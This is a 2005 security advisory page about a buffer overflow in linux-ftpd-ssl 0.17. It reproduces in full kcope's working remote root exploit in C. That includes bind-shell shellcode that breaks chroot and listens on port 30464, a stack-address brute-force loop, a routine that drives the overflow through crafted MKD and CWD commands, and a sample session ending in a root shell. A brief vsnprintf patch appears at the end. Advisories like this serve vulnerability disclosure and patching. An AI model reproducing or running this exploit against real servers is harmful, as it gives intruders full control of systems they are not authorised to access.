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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Linux ftpd SSL Buffer Overflow (Exploit) 6 Nov. 2005    Summary linux-ftdp-ssl is "the netkit FTP server with encryption support. ftpd-ssl replaces normal ftpd using SSL authentication and encryption. It operates together with normal ftp. It checks if the other side is also talking SSL, if not it falls back to normal FTP protocol. Advantages over normal ftp(d) are that your passwords and the data you send will not go in cleartext over the line, and nobody can get it with tcpdump or similar tools". The following exploit code will overflow an internal buffer used by Linux ftpd's SSL support and open a shell on the remote host.   Credit: The information has been provided by kcope. The patch has been provided by James Longstreet. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * linux-ftpd-ssl version 0.17 Exploit: /*Oct2005 VER2*/ /**********************************************************/ /** lnxFTPDssl_warez.c **/ /** linux-ftpd-ssl 0.17 remote r00t exploit by kcope **/ /** for all of those who installed the ssl ready version **/ /** of linux-ftpd to be more "secure" **/ /** **/ /** be aware of the buffer overflows, **/ /** the code is strong cryto **/ /**********************************************************/ /** thanx blackzero,revoguard,wY!,net_spy **/ /** Confidential. Keep Private! **/ /**********************************************************/ /** C:\Dokumente und Einstellungen\Administrator\Desktop>telnet 192.168.2.9 21 220 localhost.localdomain FTP server (Version 6.4/OpenBSD/Linux-ftpd-0.17) ready. AUTH SSL 234 AUTH SSL OK. ;PpPpPPpPPPpPPPPpPppPPPPPpPpPPPpPPpPpPPpPPPpPPPPpPpp C:\Dokumente und Einstellungen\Administrator\Desktop>lnxFTPDssl_warez.exe 192.168.2.9 kcope password lnxFTPDssl_warez.c linux-ftpd-ssl 0.17 remote r00t exploit by kcope connecting to 192.168.2.9:21... ok. OK - STARTING ATTACK +++ USING STACK ADDRESS 0xbfffcc03 +++ +++ USING STACK ADDRESS 0xbfffcc13 +++ +++ USING STACK ADDRESS 0xbfffcc23 +++ +++ USING STACK ADDRESS 0xbfffcc33 +++ +++ USING STACK ADDRESS 0xbfffcc43 +++ +++ USING STACK ADDRESS 0xbfffcc53 +++ +++ USING STACK ADDRESS 0xbfffcc63 +++ +++ USING STACK ADDRESS 0xbfffcc73 +++ +++ USING STACK ADDRESS 0xbfffcc83 +++ +++ USING STACK ADDRESS 0xbfffcc93 +++ +++ USING STACK ADDRESS 0xbfffcca3 +++ +++ USING STACK ADDRESS 0xbfffccb3 +++ +++ USING STACK ADDRESS 0xbfffccc3 +++ +++ USING STACK ADDRESS 0xbfffccd3 +++ +++ USING STACK ADDRESS 0xbfffcce3 +++ +++ USING STACK ADDRESS 0xbfffccf3 +++ +++ USING STACK ADDRESS 0xbfffcd03 +++ +++ USING STACK ADDRESS 0xbfffcd13 +++ +++ USING STACK ADDRESS 0xbfffcd23 +++ +++ USING STACK ADDRESS 0xbfffcd33 +++ +++ USING STACK ADDRESS 0xbfffcd43 +++ +++ USING STACK ADDRESS 0xbfffcd53 +++ +++ USING STACK ADDRESS 0xbfffcd63 +++ +++ USING STACK ADDRESS 0xbfffcd73 +++ +++ USING STACK ADDRESS 0xbfffcd83 +++ +++ USING STACK ADDRESS 0xbfffcd93 +++ +++ USING STACK ADDRESS 0xbfffcda3 +++ +++ USING STACK ADDRESS 0xbfffcdb3 +++ +++ USING STACK ADDRESS 0xbfffcdc3 +++ +++ USING STACK ADDRESS 0xbfffcdd3 +++ +++ USING STACK ADDRESS 0xbfffcde3 +++ +++ USING STACK ADDRESS 0xbfffcdf3 +++ +++ USING STACK ADDRESS 0xbfffce03 +++ +++ USING STACK ADDRESS 0xbfffce13 +++ +++ USING STACK ADDRESS 0xbfffce23 +++ +++ USING STACK ADDRESS 0xbfffce33 +++ +++ USING STACK ADDRESS 0xbfffce43 +++ +++ USING STACK ADDRESS 0xbfffce53 +++ +++ USING STACK ADDRESS 0xbfffce63 +++ +++ USING STACK ADDRESS 0xbfffce73 +++ +++ USING STACK ADDRESS 0xbfffce83 +++ +++ USING STACK ADDRESS 0xbfffce93 +++ +++ USING STACK ADDRESS 0xbfffcea3 +++ +++ USING STACK ADDRESS 0xbfffceb3 +++ +++ USING STACK ADDRESS 0xbfffcec3 +++ Let's get ready to rumble! id uid=0(root) gid=0(root) egid=1000(kcope) groups=1000(kcope),20(dialout),24(cdrom ),25(floppy),29(audio),44(video),46(plugdev) uname -a Linux debian 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux **/ // Tested on Linux 2.4.18-14 Redhat 8.0 // Linux 2.2.20-idepci Debian GNU 3.0 // Linux 2.4.27-2-386 Debian GNU 3.1 // CHECK VER3 FOR MORE SUPPORT!!! // ***KEEP IT ULTRA PRIV8*** #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/time.h> #include <unistd.h> #include <netdb.h> #include <errno.h> #define BUF_SIZ 4096 #define PORT 21 #define BINDPORT 30464 #define STACK_START 0xbfffcc03 #define STACK_END 0xbffff4f0 /*my shellcode*/ /*setreuid,chroot break, bind to port 30464, 0xff is double*/ unsigned char lnx_bind[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\xEB\x70\x31\xC0\x31\xDB\x31\xC9" "\xB0\x46\xCD\x80\x5E\x90\xB8\xBE" "\xff\xff\xff\xff\xff\xff\xF7\xD0" "\x89\x06\xB0\x27\x8D\x1E\xFE\xC5" "\xB1\xED\xCD\x80\x31\xC0\x8D\x1E" "\xB0\x3D\xCD\x80\x66\xB9\xff\xff" "\x03\xBB\xD2\xD1\xD0\xff\xff\xF7" "\xDB\x89\x1E\x8D\x1E\xB0\x0C\xCD" "\x80\xE2\xEF\xB8\xD1\xff\xff\xff" "\xff\xff\xff\xF7\xD0\x89\x06\xB0" "\x3D\x8D\x1E\xCD\x80\x31\xC0\x31" "\xDB\x89\xF1\xB0\x02\x89\x06\xB0" "\x01\x89\x46\x04\xB0\x06\x89\x46" "\x08\xB0\x66\x43\xCD\x80\x89\xF1" "\x89\x06\xB0\x02\x66\x89\x46\x0C" "\xEB\x04\xEB\x74\xEB\x77\xB0\x77" "\x66\x89\x46\x0E\x8D\x46\x0C\x89" "\x46\x04\x31\xC0\x89\x46\x10\xB0" "\x10\x89\x46\x08\xB0\x66\x43\xCD" "\x80\xB0\x01\x89\x46\x04\xB0\x66" "\xB3\x04\xCD\x80\x31\xC0\x89\x46" "\x04\x89\x46\x08\xB0\x66\xB3\x05" "\xCD\x80\x88\xC3\xB0\x3F\x31\xC9" "\xCD\x80\xB0\x3F\xB1\x01\xCD\x80" "\xB0\x3F\xB1\x02\xCD\x80\xB8\xD0" "\x9D\x96\x91\xF7\xD0\x89\x06\xB8" "\xD0\x8C\x97\xD0\xF7\xD0\x89\x46" "\x04\x31\xC0\x88\x46\x07\x89\x76" "\x08\x89\x46\x0C\xB0\x0B\x89\xF3" "\x8D\x4E\x08\x8D\x56\x0C\xCD\x80" "\xE8\x15\xff\xff\xff\xff\xff\xff"; long ficken() {  printf("lnxFTPDssl_warez.c\nlinux-ftpd-ssl 0.17 remote r00t exploit by kcope\n\n");  return 0xc0debabe; } void usage(char **argv) {  printf("Insufficient parameters given.\n");  printf("Usage: %s <remotehost> <user> <pass> [writeable directory]\n", argv[0]);  exit(0); } void _recv(int sock, char *buf) {  int bytes=recv(sock, buf, BUFSIZ, 0);  if (bytes < 0) {   perror("read() failed");   exit(1);  } } void attack(int sock, unsigned long ret, char *pad) {  int i,k;  char *x=(char*)malloc(1024);  char *bufm=(char*)malloc(1024);  char *bufc=(char*)malloc(1024);  char *rbuf=(char*)malloc(BUFSIZ+10);  char *nops=(char*)malloc(1024);  unsigned char a,b,c,d;    memset(nops,0,1024);  memset(nops,0x90,255);  memset(x,0,1024);  for (i=0,k=0;i<60;i++) {   a=(ret >> 24) & 0xff;   b=(ret >> 16) & 0xff;   c=(ret >> 8) & 0xff;   d=(ret) & 0xff;   if (d==255) {    x[k]=d;    x[++k]=255;   } else {    x[k]=d;   }   if (c==255) {    x[k+1]=c;    x[++k+1]=255;   } else {    x[k+1]=c;   }   if (b==255) {    x[k+2]=b;    x[++k+2]=255;   } else {    x[k+2]=b;   }   if (a==255) {    x[k+3]=a;    x[++k+3]=255;   } else {    x[k+3]=a;   }   k+=4;  }    snprintf(bufm, 1000, "MKD %s%s\r\n", pad, x); // 1x'A' redhat 8.0 / 2x'A' debian gnu 3.0 / 3x'A' debian gnu 3.1  snprintf(bufc, 1000, "CWD %s%s\r\n", pad, x);  for (i=0; i<11; i++) {   send(sock, bufm, strlen(bufm), 0);   recv(sock, rbuf, BUFSIZ, 0);   send(sock, bufc, strlen(bufc), 0);   recv(sock, rbuf, BUFSIZ, 0);  }     for (i=0; i<2; i++) {   snprintf(bufm, 1000, "MKD %s\r\n", lnx_bind);   snprintf(bufc, 1000, "CWD %s\r\n", lnx_bind);   send(sock, bufm, strlen(bufm), 0);   recv(sock, rbuf, BUFSIZ, 0);   send(sock, bufc, strlen(bufc), 0);   recv(sock, rbuf, BUFSIZ, 0);      snprintf(bufm, 1000, "MKD %s\r\n", nops);   snprintf(bufc, 1000, "CWD %s\r\n", nops);   send(sock, bufm, strlen(bufm), 0);   recv(sock, rbuf, BUFSIZ, 0);   send(sock, bufc, strlen(bufc), 0);   recv(sock, rbuf, BUFSIZ, 0);  }     send(sock, "XPWD\r\n", strlen("XPWD\r\n"), 0);    free(bufm);  free(bufc);  free(x);  free(rbuf); } int do_remote_shell(int sockfd) {  while(1)          {             fd_set fds;             FD_ZERO(&fds);             FD_SET(0,&fds);             FD_SET(sockfd,&fds);             if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))             {                int cnt;                char buf[1024];                if(FD_ISSET(0,&fds))                {                   if((cnt=read(0,buf,1024))<1)                   {                      if(errno==EWOULDBLOCK||errno==EAGAIN)                        continue;                      else                        break;                   }                   write(sockfd,buf,cnt);                }                if(FD_ISSET(sockfd,&fds))                {                   if((cnt=read(sockfd,buf,1024))<1)                   {                        if(errno==EWOULDBLOCK||errno==EAGAIN)                          continue;                        else                          break;                   }                   write(1,buf,cnt);                }             }          } } int do_connect (char *remotehost, int port) {  struct hostent *host;  struct sockaddr_in addr;  int s;     if (!inet_aton(remotehost, &addr.sin_addr))  {   host = gethostbyname(remotehost);   if (!host)   {    perror("gethostbyname() failed");    return -1;   }   addr.sin_addr = *(struct in_addr*)host->h_addr;  }    s = socket(PF_INET, SOCK_STREAM, 0);  if (s == -1)  {   perror("socket() failed");   return -1;  }    addr.sin_port = htons(port);  addr.sin_family = AF_INET;  if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)  {   if (port == PORT) perror("connect() failed");   return -1;  }    return s; } void do_login(int s, char *buf, char *sendbuf, char *user, char *pass) {  memset(buf, 0, sizeof(buf));  memset(sendbuf, 0, sizeof(sendbuf));  do {   _recv(s, buf);  } while (strstr(buf, "220 ") == NULL);  snprintf(sendbuf, BUFSIZ, "USER %s\r\n", user);  send(s, sendbuf, strlen(sendbuf), 0);  do {   _recv(s, buf);  } while (strstr(buf, "331 ") == NULL);    snprintf(sendbuf, BUFSIZ, "PASS %s\r\n", pass);  send(s, sendbuf, strlen(sendbuf), 0);  do {  _recv(s, buf);  } while (strstr(buf, "230 ") == NULL); } int main(int argc, char **argv) {  char remotehost[255];  char user[255];  char pass[255];  char pad[10];  char *buf,*sendbuf;  int stackaddr=STACK_START;  int s,sr00t,i;    ficken();  if (argc < 4)   usage(argv);    strncpy(remotehost, argv[1], sizeof(remotehost));  remotehost[sizeof(remotehost)-1]=0;  strncpy(user, argv[2], sizeof(user));  user[sizeof(user)-1]=0;  strncpy(pass, argv[3], sizeof(pass));  pass[sizeof(pass)-1]=0;    printf("connecting to %s:%d...", remotehost, PORT);  fflush(stdout);  s=do_connect(remotehost, PORT);    puts(" ok.");  buf=(char*)malloc(BUFSIZ+10);  sendbuf=(char*)malloc(BUFSIZ+10);  do_login(s, buf, sendbuf, user, pass);     if (strstr(buf, "230")!=NULL) {   printf("OK - STARTING ATTACK\n");   i=0;   while (stackaddr <= STACK_END) {    printf("+++ USING STACK ADDRESS 0x%.08x +++\n", stackaddr);        sleep(1);    if (i==1) {     strcpy(pad, "A");    }          if (i==2) {     strcpy(pad, "AA");    }        if (i==3) {     strcpy(pad, "AAA");     i=0;    }        attack(s, stackaddr, pad);    close(s);    s=do_connect(remotehost, PORT);    do_login(s, buf, sendbuf, user, pass);    if (argv[4] != NULL) {     snprintf(sendbuf, BUFSIZ, "CWD %s\r\n", argv[4]);     send(s, sendbuf, strlen(sendbuf), 0);     recv(s, buf, BUFSIZ, 0);    }    if((sr00t=do_connect(remotehost, BINDPORT)) > 0) {     /* XXX Remote r00t */     printf("\nLet's get ready to rumble!\n");     do_remote_shell(sr00t);     exit(0);    }        stackaddr+=16;    i++;   }  } else {   printf("\nLogin incorrect\n");   exit(1);  }    free(buf);  free(sendbuf);  return 0; } Patch: (provided by James Longstreet) --- linux-ftpd-0.17/ftpd/ftpd.c 2005-11-05 17:04:53.000000000 -0600 +++ linux-ftpd-0.17-patched/ftpd/ftpd.c 2005-11-05 17:11:54.000000000 -0600 @@ -2082,9 +2082,9 @@       va_start(ap); #endif #ifdef USE_SSL - /* assemble the output into a buffer */ + /* assemble the output into a buffer, checking for length*/       sprintf(outputbuf,"%d ",n); - vsprintf(outputbuf+strlen(outputbuf),fmt,ap); + vsnprintf(outputbuf+strlen(outputbuf),2048-(strlen(outputbuf) + 3),fmt,ap);       strcat(outputbuf,"\r\n");       if (ssl_debug_flag)  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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